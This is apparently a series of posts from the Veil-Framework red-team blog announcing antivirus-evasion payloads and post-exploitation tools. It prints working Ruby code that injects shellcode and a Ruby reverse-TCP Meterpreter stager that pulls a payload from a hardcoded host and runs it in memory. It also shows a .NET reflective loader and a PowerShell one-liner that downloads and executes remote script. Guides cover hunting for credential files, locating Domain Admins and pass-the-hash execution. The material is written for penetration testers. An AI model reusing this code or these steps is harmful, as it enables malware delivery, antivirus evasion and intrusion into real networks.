A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

When you hit this screen, tab over to <Yes> to accept the EULA:

And when you his this screen, click Yes to overwrite the existing files:

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

Posted on September 15, 2014 by Harm J0y 2

Searching User Properties with Veil-PowerView

A few months ago, @obscuresec published a post on finding and extracting custom user properties in Active Directory using PowerShell. Veil-PowerView 1.4 added some cmdlets that integrated (read: shamelessly stole :) some of this functionality, and I wanted to briefly cover how to utilize these new methods.

As Chris states in his post, “Since most administrators interact with AD with a MMC snapin, they mistakingly believe that custom fields can’t be viewed by other user“. To enumerate all custom fields from user AD objects with Veil-PowerView, use the Get-UserProperties function:

PS C:\> Get-UserProperties

This will dump out all the fields for user objects. If you want to extract out all users/values for a particular field, use the -Properties flag with one or more property names:

PS C:\> Get-UserProperties -Properties description,info

If you want to search particular fields for wildcard terms, Invoke-UserFieldSearch will take care of that for you. It defaults to searching the ‘description’ field for ‘*pass*’. If you want to search another field, say for something custom you found from Get-UserProperties, just supply the field and terms you want:

PS C:\> Invoke-UserFieldSearch -Field info -Term backup

You’d be surprised as to the information you can find in Active Directory, even from non-privileged/basic user accounts :)

Posted on September 8, 2014 by Harm J0y 1

Veil-Pillage: A Usage Guide

Veil-Pillage is a modular post-exploitation framework released last month at Defcon. We’ve had some great feedback already, and we wanted to put together a quick usage guide for anyone interested in playing around with its functionality. We also had our first module pull request recently, management/enable_proxy, contributed by byt3bl33d3r. This module will let you manually set the system proxy on a target host or hosts, check it out!

First things first, installation. The best way to pull down the latest version of the Veil-Framework is to first clone down the Veil master project from github:

root@kali:~# git clone https://github.com/Veil-Framework/Veil.git

Then change into the Veil directory and run the update.sh script which will pull down all the project submodules and run all appropriate setups:

root@kali:~/Veil# ./update.sh

If you’re running this on Kali linux, our only officially supported platform at this point, everything should pull down and install correctly. Change into the Veil-Pillage directory and launch ./Veil-Pillage.py. You’ll then be presented with the main menu:

Here you can see the number of modules currently loaded, as well as the common commands available. Now for some basic usage. The first thing you’ll want to do is to give Pillage a set of targets and a set of credentials. This can be done in several ways. You can set targets with a space or comma separated list, an existing target text file, or just with “set targets” for an interactive menu:

Credentials work similarly, with set creds [domain]/user:password or set creds [domain]/user:LM:NTLM. Specifying a creddump file with set creds file.txt works as well:

After you have your target and credential sets worked out, you need to choose a module to execute. List will list all of the modules available. You can select a module with “use #” where # is the number from the list command, or use action/module/… which allows you to tab-complete the loaded module path:

This will drop you into the module menu, where you will see a description of the module, required options, and module commands:

The most common option you’ll see across most modules is “trigger_method”, which controls how the specified action is executed on the target machine. “wmis” will utilize pth-wmis from the passing-the-hash toolkit which doesn’t create a service and is preferable in most situations, “winexe” will utilize pth-winexe and creates a service as well as dropping a binary to disk, and Impacket’s “smbexec” which creates a service but doesn’t drop a binary. What action you choose will depend on the specific situation you’re encountering, but wmis is usually set as the default.

If you want to set a module specific option across ALL modules, setg will set a specific option globally. This command can also be used from the main menu.

Once you have everything set to your liking, the run command will start execution. You’ll be prompted to make sure you want to execute the module, and then everything will kick off. After execution is completed, you’ll get the standard output menu. Status files are output to /root/veil-output/pillage/MODULE/<timestamp>.out. Typing yes will display the output file for the module:

The output file will tell you exactly what action was performed on what host with what credentials. Every module that has any kind of reciprocal cleanup action will automatically produce a cleanup file that’s output to /root/veil-output/pillage/MODULE/<timestamp>.pc . You can run this file with “cleanup <file>.pc” from the main menu:

There’s also a global cleanup file that keeps track of all cleanup actions for all modules. If you type cleanup on the main menu, it will prompt you to use this global file, which will then cleanup all affected hosts and then reset the cleanup file itself.

A few last things: the UI experience for Veil-Pillage was a major focus in development. Everything that could be tab-completable was made to be so, and reasonable error-handling/checking was built in wherever it made sense. There is also a complete set of command line flags for every possible option and action in Veil-Pillage, something we’ll cover in more depth in a future blog post. Also, whenever you exit Veil-Pillage, through exit, ctrl+c, or if there is some error in execution, the program state is automatically saved to pillage.state. When you start Pillage back up, it will ask you if you want to restore this state file. If you do, your credential and target sets are restored, module options set to their modified values, and you’re thrown right back into the module menu you were operating in.

In case you want to see some more Veil-Pillage functionality demonstrated, the recorded demos given during the Defcon presentation are available here, and Pillage’s README.md contains a bit more information as well. If you encounter any issues or have any module ideas, please submit issues and/or pull requests to Pillage’s github.

Posted on September 1, 2014 by Harm J0y 4

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

Posted on August 15, 2014 by Harm J0y 1

Hunting for Sensitive Data with the Veil-Framework

Data mining available file shares for sensitive data is a staple of red teaming. We’ve found everything from password lists, to full employee directories, salary information, network diagrams and more, all due to network shares with incorrectly configured permissions. Veil-PowerView has a few functions (Invoke-Netview and Invoke-Sharefinder) that have helped us quickly find and explore shares our current user has access to. I’ve talked in the past about using Powershell to triage file servers during engagements, and realized that robust, recursive file listing would make a great addition into PowerView. Those two functions (Invoke-SearchFiles and Invoke-FileFinder) were recently added, and I wanted to demonstrate how this new functionality can help you find sensitive files on the network as quickly as possible.

Invoke-ShareFinder has had its output recently reworked so it spits out any “\\HOST\share – COMMENT” found, instead of the status output similar to Invoke-Netview. The reason for this is to easily chain together Invoke-ShareFinder and Invoke-FileFinder, while preserving as much information we might want as possible. Here’s how I usually run sharefinder:

PS C:\> Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii found_shares.txt

This will query AD for all machine objects, ping each one to ensure the host is up before enumeration, check each found share for read access, and output everything to found_shares.txt. The -Verbose flag gives some status output as it chews through all the retrieved servers, and the output will look something like this:

\\WIN2K8.company.com\MSBuild 	- test
\\WIN2K8.company.com\NETLOGON 	- Logon server share 
\\WIN2K8.company.com\SYSVOL 	- Logon server share 
\\WIN2K8.company.com\test 	- 
\\WIN2K8.company.com\Users 	- User share
\\WINDOWS7.company.com\secret	- don't look here
...snip...

I’ll save off an original copy of the file off for reference, and then will glance over the output, manually trimming out certain shares that seem like they likely won’t be interesting. I can then feed that output file straight into Invoke-FileFinder. This will recursively search given shares for sensitive files:

PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv

This will take the share input list from sharefinder and recursively list each share, filtering for files with ‘*pass*’, ‘*sensitive*’, ‘*admin*’, ‘*secret*’, ‘*login*’, ‘*unattend*.xml’, ‘*.vmdk’, ‘*creds*’, or ‘*credential*’ in the file name. Anything found is then output to a CSV with the full path, owner, last access time, last write time, and length. If I want/need to search for other terms, I’ll use something like this:

PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv -Terms payroll,CEO,…

This will replace the default terms with the wildcarded terms specified. If you want to run Invoke-FileFinder without enumerating shares ahead of time, the following function will query AD for active machines like the rest of PowerView’s Invoke-* cmdlets. It will then enumerate all shares it finds, excluding C$ and ADMIN$ by default (these can be included with the -IncludeC and -IncludeAdmin flags). I still advise running Invoke-ShareFinder first and pruning your results a bit for speed reasons, but kicking off the following command will find everything sensitive it can in the network:

PS C:> Invoke-FileFinder -OutFile all_files.csv -Verbose

There are several more flags available, including filters for office documents, last creation/write/access times, etc. Check out Invoke-FileFinder’s function documentation if you’re interested in more of the options:

Happy hunting :)

Posted on July 22, 2014July 22, 2014 by Harm J0y 2

July 15th V-Day

For our V-Day release this month, we have some more PowerShell goodness for everyone. Veil-Evasion v2.10.0, now in the master branch, includes powershell/meterpreter/rev_tcp, a native shellcode-less stager conceptually similar to some of our previous releases. Utilizing similar .dll import functionality as some of our previous modules, and originally drawn from Matthew Graeber’s article on shellcode injection with PowerShell, we can achieve the same native-stager functionality without having to rely on shellcode.

The Backdoor Factory payload within Veil-Evasion, which now uses the Capstone Engine, has also been updated (and just had its own wiki stood up)! Be sure to rerun Veil-Evasion’s ./setup/setup.sh script to install the necessary dependencies for the new BDF version.

We’ve also got a big release coming up next month, with the debut of a newest tool in the Veil-Framework, Veil-Pillage, going down at Defcon. If you’re around at Blackhat, come check out the Veil-Framework presentation at Blackhat Arsenal. We’ll also have two new Veil-Evasion payload modules ready for release on August 15th. And on a sidenote, Veil-PowerView was a part of Powershell Magazine’s security special– be sure to check out the other great articles in the series!

Posted on July 15, 2014July 18, 2014 by Harm J0y 1

Veil-PowerView: A Usage Guide

[Note: this topic was cross-posted on my personal blog]

Veil-PowerView is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec, @mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.

First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 script to a local location, and then launch Powershell:

C:> powershell.exe -nop -exec bypass

Then import the PowerView module with the following:

PS C:\> Import-Module [full path to powerview.ps1]

All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]”. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.

Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:

PS C:\> Get-NetComputers -OperatingSystem *xp*

Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:

PS C:\> Invoke-FindVulnSystems -Ping

One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:

PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess

Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:

PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10

A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:

PS C:\> Invoke-Userhunter -Ping

If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:

PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt

An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:

PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”

There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.

If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:

C:\> powershell.exe -nop -exec bypass .\powerview.ps1 > output.txt

You can also run it straight without any script modifications with:

C:\> powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}”

If you want to invoke everything without touching disk, use something like this:

C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4’); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt“

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.

Posted on June 27, 2014 by Harm J0y 4

Veil-PowerView v1.4

Veil-PowerView has gone through another large set of modifications, resulting in its versioning to 1.4. Here are the changes in no particular order:

Get-UserProperties was built, stealing directly from @obscuresec‘s great post on the topic located here. Related, Invoke-UserDescSearch was expanded and changed to Invoke-UserFieldSearch, which now allows you to specify the user field to search for wildcard terms. We’ll have a post up soon on using these methods together.
Get-NetGroupUsers was combined into Get-NetGroup for standardization.
The -Debug flag for meta-functions now replaces the old -Verbose functionality, with the -Verbose flag now outputting a status for when several machines are processed.
Invoke-Sharefinder had serveral additional exclusion options added and its output changed to just spit out raw share paths.
Set-MacAttribute was added in from Powersploit- see @obscuresec‘s post on the topic on his blog. Invoke-CopyFile automatically invokes this when replacing files in order to match a target’s MAC properties.
Invoke-SearchFiles was added, which recursively searches a local or remote network path for files with various specifications. Terms can be specific, MAC attributes filtered one, and more – check out the source for complete flags and options.
Invoke-FileFinder was added, which utilizes Invoke-SearchFiles to crawl the network for target data. Lots of flags here too.
Several methods were added that attempt to enumerate local machine information: Get-NetLocalGroups to get local groups on a target, Get-NetLocalGroup to get members of a local group, and Get-NetLocalServices to enumerate local services.
Invoke-HostEnum was added, which will run all available host enumerate functions on a single target (note: this potentially produces a good chunk of data, just for a single host).
A lingering bug was finally fixed that would crash execution of some of the meta-functions when executed against large numbers of machines, usually in the 2000-4000 range. Have to be careful of those access violations when playing with raw memory and API access :)

Thanks again to @obscuresec for posting some great Powershell information that I shameless stole and integrated into PowerView – all credit to Chris for coming up with those ideas. We’re also going to have a few PowerView posts coming up in the next few weeks, including a usage guide, information on abusing user description fields, and an exe trojanation guide. Oh, and the Veil-Framework was recently accepted to Blackhat Arsenal– come stop by to talk about all the tools in the framework, including a new post-exploitation tool being released at Defcon.

Posted on June 20, 2014 by Harm J0y 0

The State of the Veil-Framework

Today, 1 year ago, Veil was publicly released, and it’s humbling to look at how far we’ve come since then.

When we initially released Veil, it was a single flat 538-line file that only contained 7 different payloads. Thanks to the hard work of @harmj0y and @themightyshiv, Veil was expanded into a fully functional framework with significantly expanded capabilities, and the AV-evasion component was renamed Veil-Evasion. With the release of Veil-Catapult and Veil-PowerView, we’ve started looking beyond just the problem of antivirus towards other offensive areas. Our continuing goal with the Veil-Framework is to maintain an open-source toolkit that spans particular gap areas we’ve encountered.

Veil-Evasion originally supported only three different payload shellcode-injection options, Meterpreter’s reverse_tcp, reverse_http, and reverse_https payloads. As of Veil-Evasion 2.0, all Windows payloads from the Metasploit tree are now loaded and available for use within any */shellcode_inject/* payload. Our payload releases then moved beyond just shellcode injectors with the release of native Meterpreter tcp and http[s] stagers, and we soon started a continual payload release cycle name VDay. We’ve debated disclosure, introduced some auxiliary modules, released a Python obfuscator named Pyherion, and recently integrated a generator for obfuscated Pyinstaller loaders named Pwnstaller. We showed you how to easily check if your payloads have been submitted to Virustotal, integrated Veil-Evasion with Cortana, and got a proper logo. Along the way we’ve had the honor of presenting at Shmooon, CarolinaCon, and soon Defcon. Oh, and we just got our own McAfee signature :)

The framework structure now allows anyone to expand or modify the existing codebase. New payload generation modules (public or private) can be dropped into an appropriate language folder and will be automatically loaded up by the framework. We have a lot of existing functionality you can draw on for development of private payload modules, a template located in the tree at ./modules/payloads/template.py, and a tutorial on payload development posted here.

So, we’re a year in now, but where do we go from here? We have a couple of goals we hope to achieve:

Port msfvenom to Python – We use MSF’s msfvenom for shellcode generation in the shellcode_inject modules when code isn’t supplied by the user. Being dependent on a third party tool can cause occasional issues, e.g. when the output of msfvenom was modified and a variety of our payloads would crash on execution. Porting msfvenom to Python will allow us to have complete control of the output, and any changes to the tool would be controlled by the Veil Development team, allowing us to account for the changes within the framework.

Research – We have a reasonable chunk of private research that’s been feeding our VDay releases. We currently have enough to continue VDay into next year, with some cool stuff hitting in the next few months. We’re keeping on our research efforts and hope to be releasing for a while :)

New tool development – We keep building tools to span whatever gap areas we see. The newest tool in development by @harmj0y is a post-exploitation framework named Veil-Pillage, and will be presented on at Defcon.

All that’s really left to say is thanks. We started off creating this project for our own use, but we soon realized we should try to give something back to the industry by making Veil publicly available. The community uptake and use of Veil has been nothing but humbling for all of us. Never did we expect so many people to hear of and use Veil, let alone have it be added to Kali Linux. There have been blog posts, how-to videos, and more developed by the community which showcase the framework and talk about how it’s been successfully used. For all the kind words and support, we thank you.

As always, if anyone ever has any questions on framework modifications, ideas for techniques or modules, or just wants to bounce offensive ideas off of someone, please feel free to get in touch with us. These tools are something we’re genuinely passionate about, and we love talking about new techniques, ways to get better, or simply helping others. We’re just a quick forum post, e-mail, tweet, or IRC message away (#veil on Freenode!).

Thanks for a great first year, and we hope to have many more. Don’t get caught!

#avlol

Posted on May 30, 2014May 30, 2014 by Harm J0y 1

Carolinacon Wrapup

This past Saturday the Veil development team presented at CarolinaCon X on the Veil-Framework. It was a great experience, and we want to thank the organizers again for having us out. Our presentation was an adaptation of the one given at Shmooon 2014, with material added in for Veil-PowerView. This slides are posted here and the video was uploaded here. Thanks again to CarolinaCon, the conversations and beers we shared, and all the great feedback we got while there!

Posted on May 20, 2014May 28, 2014 by Harm J0y 0

Veil – Framework